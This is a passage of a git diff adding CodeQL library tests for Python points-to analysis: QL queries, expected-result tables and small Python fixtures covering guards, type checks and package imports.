f.toString(), o.toString(), x.getLocation().getStartLine() diff --git a/python/ql/test/library-tests/PointsTo/guarded/PointsToWithType.expected b/python/ql/test/library-tests/PointsTo/guarded/PointsToWithType.expected new file mode 100644 index 00000000000..bd9e52a7664 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/guarded/PointsToWithType.expected @@ -0,0 +1,77 @@ +| test.py | 8 | ControlFlowNode for x | int 7 | builtin-class int | 7 | +| test.py | 14 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 10 | +| test.py | 14 | ControlFlowNode for x | int 7 | builtin-class int | 13 | +| test.py | 20 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 19 | +| test.py | 26 | ControlFlowNode for x | int 7 | builtin-class int | 25 | +| test.py | 32 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 28 | +| test.py | 32 | ControlFlowNode for x | int 7 | builtin-class int | 31 | +| test.py | 38 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 37 | +| test.py | 43 | ControlFlowNode for i | float 1.0 | builtin-class float | 42 | +| test.py | 48 | ControlFlowNode for i | int 0 | builtin-class int | 45 | +| test.py | 53 | ControlFlowNode for i | int 0 | builtin-class int | 52 | +| test.py | 58 | ControlFlowNode for i | float 1.0 | builtin-class float | 57 | +| test.py | 63 | ControlFlowNode for i | float 1.0 | builtin-class float | 62 | +| test.py | 63 | ControlFlowNode for i | int 0 | builtin-class int | 60 | +| test.py | 68 | ControlFlowNode for i | int 0 | builtin-class int | 67 | +| test.py | 74 | ControlFlowNode for i | float 1.0 | builtin-class float | 73 | +| test.py | 79 | ControlFlowNode for i | int 7 | builtin-class int | 76 | +| test.py | 84 | ControlFlowNode for i | int 7 | builtin-class int | 83 | +| test.py | 90 | ControlFlowNode for b | int 7 | builtin-class int | 89 | +| test.py | 96 | ControlFlowNode for b | bool True | builtin-class bool | 92 | +| test.py | 96 | ControlFlowNode for b | int 7 | builtin-class int | 95 | +| test.py | 103 | ControlFlowNode for b | bool False | builtin-class bool | 99 | +| test.py | 103 | ControlFlowNode for b | int 7 | builtin-class int | 102 | +| test.py | 109 | ControlFlowNode for b | int 7 | builtin-class int | 108 | +| test.py | 114 | ControlFlowNode for t | builtin-class type | builtin-class type | 111 | +| test.py | 119 | ControlFlowNode for t | builtin-class object | builtin-class type | 118 | +| test.py | 125 | ControlFlowNode for u | int 7 | builtin-class int | 124 | +| test.py | 131 | ControlFlowNode for u | int 7 | builtin-class int | 130 | +| test.py | 137 | ControlFlowNode for u | int 7 | builtin-class int | 136 | +| test.py | 143 | ControlFlowNode for u | int 7 | builtin-class int | 142 | +| test.py | 151 | ControlFlowNode for u | int 7 | builtin-class int | 150 | +| test.py | 157 | ControlFlowNode for u | int 7 | builtin-class int | 156 | +| test.py | 164 | ControlFlowNode for s | float 1.0 | builtin-class float | 163 | +| test.py | 169 | ControlFlowNode for f | int 0 | builtin-class int | 168 | +| test.py | 176 | ControlFlowNode for x | int 0 | builtin-class int | 175 | +| test.py | 181 | ControlFlowNode for x | int 0 | builtin-class int | 180 | +| test.py | 186 | ControlFlowNode for x | int 0 | builtin-class int | 185 | +| test.py | 186 | ControlFlowNode for x | object() | builtin-class object | 172 | +| test.py | 199 | ControlFlowNode for f | int 0 | builtin-class int | 198 | +| test.py | 207 | ControlFlowNode for s | builtin-class type | builtin-class type | 206 | +| test.py | 214 | ControlFlowNode for s | class C2 | builtin-class type | 202 | +| test.py | 215 | ControlFlowNode for s | builtin-class type | builtin-class type | 212 | +| test.py | 215 | ControlFlowNode for s | class C2 | builtin-class type | 202 | +| test.py | 220 | ControlFlowNode for s | int 0 | builtin-class int | 219 | +| test.py | 234 | ControlFlowNode for f | int 0 | builtin-class int | 233 | +| test.py | 252 | ControlFlowNode for Attribute | int 1 | builtin-class int | 242 | +| test.py | 254 | ControlFlowNode for Attribute | int 2 | builtin-class int | 245 | +| test.py | 272 | ControlFlowNode for x | int 1 | builtin-class int | 271 | +| test.py | 276 | ControlFlowNode for Attribute | int 1 | builtin-class int | 271 | +| test.py | 286 | ControlFlowNode for y | NoneType None | builtin-class NoneType | 281 | +| test.py | 297 | ControlFlowNode for y | NoneType None | builtin-class NoneType | 291 | +| test.py | 301 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 291 | +| test.py | 308 | ControlFlowNode for z | int 7 | builtin-class int | 305 | +| test.py | 314 | ControlFlowNode for b | NoneType None | builtin-class NoneType | 311 | +| test.py | 332 | ControlFlowNode for Attribute | int 4 | builtin-class int | 322 | +| test.py | 339 | ControlFlowNode for Attribute | int 4 | builtin-class int | 322 | +| test.py | 347 | ControlFlowNode for Attribute | int 4 | builtin-class int | 322 | +| test.py | 369 | ControlFlowNode for g2 | float 2.0 | builtin-class float | 366 | +| test.py | 382 | ControlFlowNode for g3 | bool True | builtin-class bool | 379 | +| test.py | 389 | ControlFlowNode for g4 | int 7 | builtin-class int | 396 | +| test.py | 408 | ControlFlowNode for x | int 1 | builtin-class int | 404 | +| test.py | 420 | ControlFlowNode for Attribute | NoneType None | builtin-class NoneType | 418 | +| test.py | 427 | ControlFlowNode for Attribute | NoneType None | builtin-class NoneType | 418 | +| type_test.py | 5 | ControlFlowNode for d | Dict | builtin-class dict | 2 | +| type_test.py | 14 | ControlFlowNode for x | int 0 | builtin-class int | 11 | +| type_test.py | 16 | ControlFlowNode for x | float 1.0 | builtin-class float | 11 | +| type_test.py | 22 | ControlFlowNode for arg | builtin-class int | builtin-class type | 20 | +| type_test.py | 35 | ControlFlowNode for arg | E() | class E | 32 | +| type_test.py | 42 | ControlFlowNode for arg | E() | class E | 39 | +| type_test.py | 49 | ControlFlowNode for arg | class E | builtin-class type | 29 | +| type_test.py | 55 | ControlFlowNode for arg | class E | builtin-class type | 29 | +| type_test.py | 67 | ControlFlowNode for x | float 1.0 | builtin-class float | 62 | +| type_test.py | 67 | ControlFlowNode for x | int 0 | builtin-class int | 62 | +| type_test.py | 77 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 77 | +| type_test.py | 83 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 83 | +| type_test.py | 89 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 89 | +| type_test.py | 95 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 95 | diff --git a/python/ql/test/library-tests/PointsTo/guarded/PointsToWithType.ql b/python/ql/test/library-tests/PointsTo/guarded/PointsToWithType.ql new file mode 100644 index 00000000000..83bbd5e42ba --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/guarded/PointsToWithType.ql @@ -0,0 +1,7 @@ +import python + +from ControlFlowNode f, Object o, ClassObject c, ControlFlowNode x + +where f.refersTo(o, c, x) and exists(CallNode call | call.getFunction().getNode().(Name).getId() = "use" and call.getArg(0) = f) + +select f.getLocation().getFile().getShortName(), f.getLocation().getStartLine(), f.toString(), o.toString(), c.toString(), x.getLocation().getStartLine() diff --git a/python/ql/test/library-tests/PointsTo/guarded/options b/python/ql/test/library-tests/PointsTo/guarded/options new file mode 100644 index 00000000000..be048160aeb --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/guarded/options @@ -0,0 +1,2 @@ +semmle-extractor-options: --max-import-depth=3 +optimize: true diff --git a/python/ql/test/library-tests/PointsTo/guarded/test.py b/python/ql/test/library-tests/PointsTo/guarded/test.py new file mode 100644 index 00000000000..ced4edc0b6c --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/guarded/test.py @@ -0,0 +1,428 @@ +#Edge guards. + +def f(): + x = None + + if x is None: + x = 7 + use(x) + + x = unknown() if cond else None + + if x is not None: + x = 7 + use(x) + + x = None + + if x is None: + x = None + use(x) + + x = None + + if not x: + x = 7 + use(x) + + x = unknown() if cond else None + + if x: + x = 7 + use(x) + + x = None + + if not x: + x = None + use(x) + + i = 0 + if i == 0: + i = 1.0 + use(i) + + i = 0 + if i != 0: + i = 1.0 + use(i) + + i = 0 + if i == 0: + i = 0 + use(i) + + i = 0 + if not i: + i = 1.0 + use(i) + + i = unknown() if cond else 0 + if i: + i = 1.0 + use(i) + + i = 0 + if not i: + i = 0 + use(i) + + + i = 7 + if i == 7: + i = 1.0 + use(i) + + i = 7 + if i != 7: + i = 1.0 + use(i) + + i = 7 + if i == 7: + i = 7 + use(i) + + b = True + + if b: + b = 7 + use(b) + + b = unknown() if cond else True + + if not b: + b = 7 + use(b) + + + b = unknown() if cond else False + + if b: + b = 7 + use(b) + + b = False + + if not b: + b = 7 + use(b) + + t = type + if t is object: + t = float + use(t) + + t = type + if t is not object: + t = object + use(t) + + u = unknown_thing() + + if u is None: + u = 7 + use(u) + + u = unknown_thing() + + if u is not None: + u = 7 + use(u) + + u = unknown_thing() + + if u: + u = 7 + use(u) + + u = unknown_thing() + + if not u: + u = 7 + use(u) + + K = unknown_thing() + + u = unknown_thing() + + if u is K: + u = 7 + use(u) + + u = unknown_thing() + + if u is not K: + u = 7 + use(u) + +#String and float consts. + + s = "not this" + if s == "not this": + s = 1.0 + use(s) + + f = 0.7 + if f == 0.7: + f = 0 + use(f) + +#Sentinel guards +SENTINEL = object() +def g(x = SENTINEL): + if x is SENTINEL: + x = 0 + use(x) + +def h(x = SENTINEL): + if x == SENTINEL: + x = 0 + use(x) + +def j(x = SENTINEL): + if x is not SENTINEL: + x = 0 + use(x) + +#ODASA-4056 +def format_string(s, formatter='minimal'): + """Format the given string using the given formatter.""" + if not callable(formatter): + formatter = get_formatter_for_name(formatter) + use(formatter) + +def guard_callable(s, f=j): + """Format the given string using the given formatter.""" + if callable(f): + f=0 + use(f) + +class C1(object):pass +class C2(C1):pass + +def guard_subclass(s = C2): + if issubclass(s, C1): + s = type + use(s) + +def guard_subclass2(s = C2): + if not issubclass(s, C1): + use(s) + s = type + else: + use(s) + use(s) + +def instance_guard(s, f=1.0): + if isinstance(s, float): + s = 0 + use(s) + + +#ODASA-4056 +def format_string(s, formatter='minimal'): + """Format the given string using the given formatter.""" + if not callable(formatter): + formatter = get_formatter_for_name(formatter) + use(formatter) + +func_type = type(j) +def guard_callable(s, f=j): + if isinstance(f, func_type): + f=0 + use(f) + + +#Attribute points-to +class C(object): + + def __init__(self): + self._init() + self.x = 1 + + def _init(self): + self.y = 2 + self._init2() + + def _init2(self): + self.z = 3 + + def method(self): + use(self.x) + if isinstance(self.y, int): + use(self.y) + if not isinstance(self.z, int): + use(self.z) + +#Guarded None in nested function +def f(x=None): + def inner(arg): + if x: + use(x) + + + +#Guards on whole scope... +class D(object): + + def __init__(self, x = None): + if x is None: + x = 1 + use(x) + self.x = x + + def f(self): + use(self.x) + +#Biased splitting & pruning +def f(cond): + if cond: + y = None + x = False + else: + y = something() + x = some_condition() + use(y) # y can be None here + if x: + use(y) # Should not infer that y is None here + +#Splittings with boolean expressions: +def split_bool1(x=None,y=None): + if x and y: + raise + if not (x or y): + raise + if x: + use(y) + else: + use(y) + if y: + use(x) + else: + use(x) + +def split_bool2(x,y=None,z=7): + if x and not y or x and use(y): + pass + if x and not z or x and use(z): + pass + +def split_bool3(a=None, b=None): + if a or b: + if a: + use(b) + else: + use(b) # Should not infer b to be None. + +#Guard on instance attribute +class E(object): + + def __init__(self): + self.y = None if rand() else 4 + + x = None if rand() else 3 + + def a(self): + e = E() + #Do not mutate + if e.x: + use(e.x) + if e.y: + use(e.y) + + def b(self): + possibly_mutate(self) + if self.x: + use(self.x) + if self.y: + use(self.y) + +def k(): + e = E() + possibly_mutate(e) + if e.x: + use(e.x) + if e.y: + use(e.y) + + +#Global assignment in local scope +g1 = None + +def assign_global(): + global g1 + if not g1: + g1 = 7.0 + use(g1) # Cannot be None + +#Assignment in local scope, but called from module level + +g2 = None + +def init(): + global g2 + if not g2: + g2 = 2.0 + +init() +use(g2) # Cannot be None + +#Global set in init method +g3 = None + +class Ugly(object): + + def __init__(self): + global g3 + if not g3: + g3 = True + + def meth(self): + use(g3) # Cannot be None + +g4 = None + +def get_g4(): + if not g4: + set_g4() + use(g4) # Cannot be None + +def set_g4(): + set_g4_indirect() + +def set_g4_indirect(): + global g4 + g4 = 7 + +#Assertions +def f(cond): + x = None if cond else thing() + assert x + use(x) + +def f(cond, x = 1): + if cond: + x = 1.0 + assert isinstance(x, int) + use(x) + +#ODASA-5018 +def f(x,y=None, z=0): + if (x and y) or (y and not z): + #y cannot be None here. + use(y) + +class C(object): + + def __init__(self, x=None): + self.x = x + use(self.x) + + def meth(self): + if self.x is not None: + use(self.x) + return lambda : use(self.x) + else: + use(self.x) + return lambda : use(self.x) diff --git a/python/ql/test/library-tests/PointsTo/guarded/type_test.py b/python/ql/test/library-tests/PointsTo/guarded/type_test.py new file mode 100644 index 00000000000..79597dee0ef --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/guarded/type_test.py @@ -0,0 +1,97 @@ + +def f(d = {}): + + if isinstance(d, dict): + use(d) + else: + use(d) + +def g(cond): + + x = 0 if cond else 1.0 + + if isinstance(x, int): + use(x) + elif isinstance(x, float): + use(x) + else: + use(x) + +def h(arg=int): + if issubclass(arg, int): + use(arg) + else: + use(arg) + +class D(object): + pass + +class E(D): + pass + +def j(arg=E()): + + if isinstance(arg, E): + use(arg) + else: + use(arg) + +def k(arg=E()): + + if isinstance(arg, D): + use(arg) + else: + use(arg) + + +def l(arg=E): + if issubclass(arg, E): + use(arg) + else: + use(arg) + +def m(arg=E): + if issubclass(arg, D): + use(arg) + else: + use(arg) + +number = int, float + +def n(cond): + x = 0 if cond else 1.0 + + if not isinstance(x, number): + use(x) + else: + use(x) + +import sys +if sys.version < "3": + from collections import Iterable, Sequence, Set +else: + from collections.abc import Iterable, Sequence, Set + +def p(): + if issubclass(list, Iterable): + use(0) + else: + use(1) + +def q(): + if issubclass(list, Sequence): + use(0) + else: + use(1) + +def p(): + if isinstance({0}, Iterable): + use(0) + else: + use(1) + +def q(): + if isinstance({0}, Set): + use(0) + else: + use(1) diff --git a/python/ql/test/library-tests/PointsTo/imports/Runtime.expected b/python/ql/test/library-tests/PointsTo/imports/Runtime.expected new file mode 100644 index 00000000000..b36ac923ad4 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/imports/Runtime.expected @@ -0,0 +1,55 @@ +| __init__.py | 1 | ControlFlowNode for ImportExpr | Module package.module | ControlFlowNode for ImportExpr | +| __init__.py | 2 | ControlFlowNode for ImportMember | Function module | ControlFlowNode for FunctionExpr | +| __init__.py | 2 | ControlFlowNode for module | Function module | ControlFlowNode for FunctionExpr | +| __init__.py | 4 | ControlFlowNode for ImportExpr | Module package | ControlFlowNode for ImportExpr | +| __init__.py | 4 | ControlFlowNode for ImportMember | Module package.module2 | Entry node for Module package.module2 | +| __init__.py | 4 | ControlFlowNode for module3 | Module package.module2 | Entry node for Module package.module2 | +| __init__.py | 5 | ControlFlowNode for IntegerLiteral | int 7 | ControlFlowNode for IntegerLiteral | +| __init__.py | 5 | ControlFlowNode for module2 | int 7 | ControlFlowNode for IntegerLiteral | +| __init__.py | 6 | ControlFlowNode for ImportExpr | Module package | ControlFlowNode for ImportExpr | +| __init__.py | 6 | ControlFlowNode for ImportMember | int 7 | ControlFlowNode for IntegerLiteral | +| __init__.py | 6 | ControlFlowNode for module4 | int 7 | ControlFlowNode for IntegerLiteral | +| __init__.py | 7 | ControlFlowNode for ImportExpr | Module package | ControlFlowNode for ImportExpr | +| __init__.py | 7 | ControlFlowNode for ImportMember | Module package.module2 | Entry node for Module package.module2 | +| __init__.py | 7 | ControlFlowNode for module5 | Module package.module2 | Entry node for Module package.module2 | +| __init__.py | 8 | ControlFlowNode for ImportExpr | Module package | ControlFlowNode for ImportExpr | +| __init__.py | 8 | ControlFlowNode for ImportMember | Module package.moduleX | Entry node for Module package.moduleX | +| __init__.py | 8 | ControlFlowNode for moduleX | Module package.moduleX | Entry node for Module package.moduleX | +| module2.py | 1 | ControlFlowNode for IntegerLiteral | int 0 | ControlFlowNode for IntegerLiteral | +| module2.py | 1 | ControlFlowNode for x | int 0 | ControlFlowNode for IntegerLiteral | +| module.py | 2 | ControlFlowNode for FunctionExpr | Function module | ControlFlowNode for FunctionExpr | +| module.py | 2 | ControlFlowNode for module | Function module | ControlFlowNode for FunctionExpr | +| moduleX.py | 1 | ControlFlowNode for ClassExpr | class Y | ControlFlowNode for ClassExpr | +| moduleX.py | 1 | ControlFlowNode for Y | class Y | ControlFlowNode for ClassExpr | +| moduleX.py | 1 | ControlFlowNode for object | builtin-class object | ControlFlowNode for object | +| test.py | 1 | ControlFlowNode for ImportExpr | Module package | ControlFlowNode for ImportExpr | +| test.py | 2 | ControlFlowNode for ImportMember | Function module | ControlFlowNode for FunctionExpr | +| test.py | 2 | ControlFlowNode for module | Function module | ControlFlowNode for FunctionExpr | +| test.py | 4 | ControlFlowNode for ImportExpr | Module package | ControlFlowNode for ImportExpr | +| test.py | 5 | ControlFlowNode for ImportMember | Module package.x | Entry node for Module package.x | +| test.py | 5 | ControlFlowNode for x | Module package.x | Entry node for Module package.x | +| test.py | 8 | ControlFlowNode for C | class C | ControlFlowNode for ClassExpr | +| test.py | 8 | ControlFlowNode for ClassExpr | class C | ControlFlowNode for ClassExpr | +| test.py | 8 | ControlFlowNode for object | builtin-class object | ControlFlowNode for object | +| test.py | 10 | ControlFlowNode for ImportExpr | Module package | ControlFlowNode for ImportExpr | +| test.py | 10 | ControlFlowNode for ImportMember | int 7 | ControlFlowNode for IntegerLiteral | +| test.py | 10 | ControlFlowNode for module2 | int 7 | ControlFlowNode for IntegerLiteral | +| test.py | 12 | ControlFlowNode for FunctionExpr | Function f | ControlFlowNode for FunctionExpr | +| test.py | 12 | ControlFlowNode for f | Function f | ControlFlowNode for FunctionExpr | +| test.py | 13 | ControlFlowNode for ImportExpr | Module package | ControlFlowNode for ImportExpr | +| test.py | 13 | ControlFlowNode for ImportMember | Module package.x | Entry node for Module package.x | +| test.py | 13 | ControlFlowNode for x | Module package.x | Entry node for Module package.x | +| test.py | 15 | ControlFlowNode for ImportExpr | Module package | ControlFlowNode for ImportExpr | +| test.py | 15 | ControlFlowNode for ImportMember | Module package.moduleX | Entry node for Module package.moduleX | +| test.py | 15 | ControlFlowNode for moduleX | Module package.moduleX | Entry node for Module package.moduleX | +| test.py | 16 | ControlFlowNode for Attribute | class Y | ControlFlowNode for ClassExpr | +| test.py | 16 | ControlFlowNode for moduleX | Module package.moduleX | Entry node for Module package.moduleX | +| test.py | 19 | ControlFlowNode for ImportExpr | Module tty | ControlFlowNode for ImportExpr | +| test.py | 19 | ControlFlowNode for tty | Module tty | ControlFlowNode for ImportExpr | +| test.py | 22 | ControlFlowNode for Attribute | Builtin-function exc_info | ControlFlowNode for from sys import * | +| test.py | 22 | ControlFlowNode for x | Module package.x | Entry node for Module package.x | +| test.py | 24 | ControlFlowNode for IntegerLiteral | int 0 | ControlFlowNode for IntegerLiteral | +| test.py | 24 | ControlFlowNode for argv | int 0 | ControlFlowNode for IntegerLiteral | +| test.py | 27 | ControlFlowNode for ImportExpr | Module sys | ControlFlowNode for ImportExpr | +| test.py | 31 | ControlFlowNode for argv | list object | ControlFlowNode for argv | +| x.py | 2 | ControlFlowNode for ImportExpr | Module sys | ControlFlowNode for ImportExpr | diff --git a/python/ql/test/library-tests/PointsTo/imports/Runtime.ql b/python/ql/test/library-tests/PointsTo/imports/Runtime.ql new file mode 100644 index 00000000000..4a25bff744a --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/imports/Runtime.ql @@ -0,0 +1,8 @@ + +import python + +from int line, ControlFlowNode f, Object o, ControlFlowNode orig +where + not f.getLocation().getFile().inStdlib() and + f.refersTo(o, orig) and line = f.getLocation().getStartLine() and line != 0 +select f.getLocation().getFile().getShortName(), line, f.toString(), o.toString(), orig.toString() diff --git a/python/ql/test/library-tests/PointsTo/imports/RuntimeWithType.expected b/python/ql/test/library-tests/PointsTo/imports/RuntimeWithType.expected new file mode 100644 index 00000000000..ebd971cc048 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/imports/RuntimeWithType.expected @@ -0,0 +1,55 @@ +| __init__.py | 1 | ControlFlowNode for ImportExpr | Module package.module | builtin-class module | ControlFlowNode for ImportExpr | +| __init__.py | 2 | ControlFlowNode for ImportMember | Function module | builtin-class function | ControlFlowNode for FunctionExpr | +| __init__.py | 2 | ControlFlowNode for module | Function module | builtin-class function | ControlFlowNode for FunctionExpr | +| __init__.py | 4 | ControlFlowNode for ImportExpr | Module package | builtin-class module | ControlFlowNode for ImportExpr | +| __init__.py | 4 | ControlFlowNode for ImportMember | Module package.module2 | builtin-class module | Entry node for Module package.module2 | +| __init__.py | 4 | ControlFlowNode for module3 | Module package.module2 | builtin-class module | Entry node for Module package.module2 | +| __init__.py | 5 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | ControlFlowNode for IntegerLiteral | +| __init__.py | 5 | ControlFlowNode for module2 | int 7 | builtin-class int | ControlFlowNode for IntegerLiteral | +| __init__.py | 6 | ControlFlowNode for ImportExpr | Module package | builtin-class module | ControlFlowNode for ImportExpr | +| __init__.py | 6 | ControlFlowNode for ImportMember | int 7 | builtin-class int | ControlFlowNode for IntegerLiteral | +| __init__.py | 6 | ControlFlowNode for module4 | int 7 | builtin-class int | ControlFlowNode for IntegerLiteral | +| __init__.py | 7 | ControlFlowNode for ImportExpr | Module package | builtin-class module | ControlFlowNode for ImportExpr | +| __init__.py | 7 | ControlFlowNode for ImportMember | Module package.module2 | builtin-class module | Entry node for Module package.module2 | +| __init__.py | 7 | ControlFlowNode for module5 | Module package.module2 | builtin-class module | Entry node for Module package.module2 | +| __init__.py | 8 | ControlFlowNode for ImportExpr | Module package | builtin-class module | ControlFlowNode for ImportExpr | +| __init__.py | 8 | ControlFlowNode for ImportMember | Module package.moduleX | builtin-class module | Entry node for Module package.moduleX | +| __init__.py | 8 | ControlFlowNode for moduleX | Module package.moduleX | builtin-class module | Entry node for Module package.moduleX | +| module2.py | 1 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | ControlFlowNode for IntegerLiteral | +| module2.py | 1 | ControlFlowNode for x | int 0 | builtin-class int | ControlFlowNode for IntegerLiteral | +| module.py | 2 | ControlFlowNode for FunctionExpr | Function module | builtin-class function | ControlFlowNode for FunctionExpr | +| module.py | 2 | ControlFlowNode for module | Function module | builtin-class function | ControlFlowNode for FunctionExpr | +| moduleX.py | 1 | ControlFlowNode for ClassExpr | class Y | builtin-class type | ControlFlowNode for ClassExpr | +| moduleX.py | 1 | ControlFlowNode for Y | class Y | builtin-class type | ControlFlowNode for ClassExpr | +| moduleX.py | 1 | ControlFlowNode for object | builtin-class object | builtin-class type | ControlFlowNode for object | +| test.py | 1 | ControlFlowNode for ImportExpr | Module package | builtin-class module | ControlFlowNode for ImportExpr | +| test.py | 2 | ControlFlowNode for ImportMember | Function module | builtin-class function | ControlFlowNode for FunctionExpr | +| test.py | 2 | ControlFlowNode for module | Function module | builtin-class function | ControlFlowNode for FunctionExpr | +| test.py | 4 | ControlFlowNode for ImportExpr | Module package | builtin-class module | ControlFlowNode for ImportExpr | +| test.py | 5 | ControlFlowNode for ImportMember | Module package.x | builtin-class module | Entry node for Module package.x | +| test.py | 5 | ControlFlowNode for x | Module package.x | builtin-class module | Entry node for Module package.x | +| test.py | 8 | ControlFlowNode for C | class C | builtin-class type | ControlFlowNode for ClassExpr | +| test.py | 8 | ControlFlowNode for ClassExpr | class C | builtin-class type | ControlFlowNode for ClassExpr | +| test.py | 8 | ControlFlowNode for object | builtin-class object | builtin-class type | ControlFlowNode for object | +| test.py | 10 | ControlFlowNode for ImportExpr | Module package | builtin-class module | ControlFlowNode for ImportExpr | +| test.py | 10 | ControlFlowNode for ImportMember | int 7 | builtin-class int | ControlFlowNode for IntegerLiteral | +| test.py | 10 | ControlFlowNode for module2 | int 7 | builtin-class int | ControlFlowNode for IntegerLiteral | +| test.py | 12 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | ControlFlowNode for FunctionExpr | +| test.py | 12 | ControlFlowNode for f | Function f | builtin-class function | ControlFlowNode for FunctionExpr | +| test.py | 13 | ControlFlowNode for ImportExpr | Module package | builtin-class module | ControlFlowNode for ImportExpr | +| test.py | 13 | ControlFlowNode for ImportMember | Module package.x | builtin-class module | Entry node for Module package.x | +| test.py | 13 | ControlFlowNode for x | Module package.x | builtin-class module | Entry node for Module package.x | +| test.py | 15 | ControlFlowNode for ImportExpr | Module package | builtin-class module | ControlFlowNode for ImportExpr | +| test.py | 15 | ControlFlowNode for ImportMember | Module package.moduleX | builtin-class module | Entry node for Module package.moduleX | +| test.py | 15 | ControlFlowNode for moduleX | Module package.moduleX | builtin-class module | Entry node for Module package.moduleX | +| test.py | 16 | ControlFlowNode for Attribute | class Y | builtin-class type | ControlFlowNode for ClassExpr | +| test.py | 16 | ControlFlowNode for moduleX | Module package.moduleX | builtin-class module | Entry node for Module package.moduleX | +| test.py | 19 | ControlFlowNode for ImportExpr | Module tty | builtin-class module | ControlFlowNode for ImportExpr | +| test.py | 19 | ControlFlowNode for tty | Module tty | builtin-class module | ControlFlowNode for ImportExpr | +| test.py | 22 | ControlFlowNode for Attribute | Builtin-function exc_info | builtin-class builtin_function_or_method | ControlFlowNode for from sys import * | +| test.py | 22 | ControlFlowNode for x | Module package.x | builtin-class module | Entry node for Module package.x | +| test.py | 24 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | ControlFlowNode for IntegerLiteral | +| test.py | 24 | ControlFlowNode for argv | int 0 | builtin-class int | ControlFlowNode for IntegerLiteral | +| test.py | 27 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | ControlFlowNode for ImportExpr | +| test.py | 31 | ControlFlowNode for argv | list object | builtin-class list | ControlFlowNode for argv | +| x.py | 2 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | ControlFlowNode for ImportExpr | diff --git a/python/ql/test/library-tests/PointsTo/imports/RuntimeWithType.ql b/python/ql/test/library-tests/PointsTo/imports/RuntimeWithType.ql new file mode 100644 index 00000000000..eca5e965ea8 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/imports/RuntimeWithType.ql @@ -0,0 +1,8 @@ + +import python + +from int line, ControlFlowNode f, Object o, ClassObject cls, ControlFlowNode orig +where + not f.getLocation().getFile().inStdlib() and + f.refersTo(o, cls, orig) and line = f.getLocation().getStartLine() and line != 0 +select f.getLocation().getFile().getShortName(), line, f.toString(), o.toString(), cls.toString(), orig.toString() diff --git a/python/ql/test/library-tests/PointsTo/imports/options b/python/ql/test/library-tests/PointsTo/imports/options new file mode 100644 index 00000000000..b6a59fe2746 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/imports/options @@ -0,0 +1 @@ +semmle-extractor-options: --max-import-depth=2 -r package diff --git a/python/ql/test/library-tests/PointsTo/imports/package/__init__.py b/python/ql/test/library-tests/PointsTo/imports/package/__init__.py new file mode 100644 index 00000000000..715f4fbef35 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/imports/package/__init__.py @@ -0,0 +1,15 @@ +from .module \ +import module + +from . import module2 as module3 +module2 = 7 +from . import module2 as module4 +from . import module3 as module5 +from package import moduleX + +#We should now have: +#module2 = 7 +#module3 = package.module2 +#module4 = 7 +#module5 = package.module2 +#moduleX = package.moduleX diff --git a/python/ql/test/library-tests/PointsTo/imports/package/module.py b/python/ql/test/library-tests/PointsTo/imports/package/module.py new file mode 100644 index 00000000000..008b713d67e --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/imports/package/module.py @@ -0,0 +1,3 @@ + +def module(args): + pass diff --git a/python/ql/test/library-tests/PointsTo/imports/package/module2.py b/python/ql/test/library-tests/PointsTo/imports/package/module2.py new file mode 100644 index 00000000000..3aea0c58ce5 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/imports/package/module2.py @@ -0,0 +1 @@ +x = 0 diff --git a/python/ql/test/library-tests/PointsTo/imports/package/moduleX.py b/python/ql/test/library-tests/PointsTo/imports/package/moduleX.py new file mode 100644 index 00000000000..3b39b8c0985 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/imports/package/moduleX.py @@ -0,0 +1,2 @@ +class Y(object): + pass \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/imports/package/x.py b/python/ql/test/library-tests/PointsTo/imports/package/x.py new file mode 100644 index 00000000000..51cf8f5a381 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/imports/package/x.py @@ -0,0 +1,2 @@ + +from sys import * diff --git a/python/ql/test/library-tests/PointsTo/imports/test.py b/python/ql/test/library-tests/PointsTo/imports/test.py new file mode 100644 index 00000000000..eb57051a8fa --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/imports/test.py @@ -0,0 +1,31 @@ +from package \ +import module + +from package \ +import x +#Should work correctly in nested scopes as well. + +class C(object): + + from package import module2 + + def f(self): + from package import x + +from package import moduleX +moduleX.Y + +#A small stdlib module to test version handling. +import tty + +#Check imports of builtin-objects using import * with no corresponding variable. +x.exc_info + +argv = 0 + +try: + from sys import * +except: + pass + +argv diff --git a/python/ql/test/library-tests/PointsTo/indexing/Test.expected b/python/ql/test/library-tests/PointsTo/indexing/Test.expected new file mode 100644 index 00000000000..bd53dcea841 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/indexing/Test.expected @@ -0,0 +1,27 @@ +| 1 | ControlFlowNode for ImportExpr | Module fake_collections | 1 | +| 1 | ControlFlowNode for ImportMember | class deque | 4 | +| 1 | ControlFlowNode for deque | class deque | 4 | +| 2 | ControlFlowNode for FunctionExpr | Function f | 2 | +| 2 | ControlFlowNode for f | Function f | 2 | +| 3 | ControlFlowNode for d | deque() | 3 | +| 3 | ControlFlowNode for deque | class deque | 4 | +| 3 | ControlFlowNode for deque() | deque() | 3 | +| 4 | ControlFlowNode for List | List | 4 | 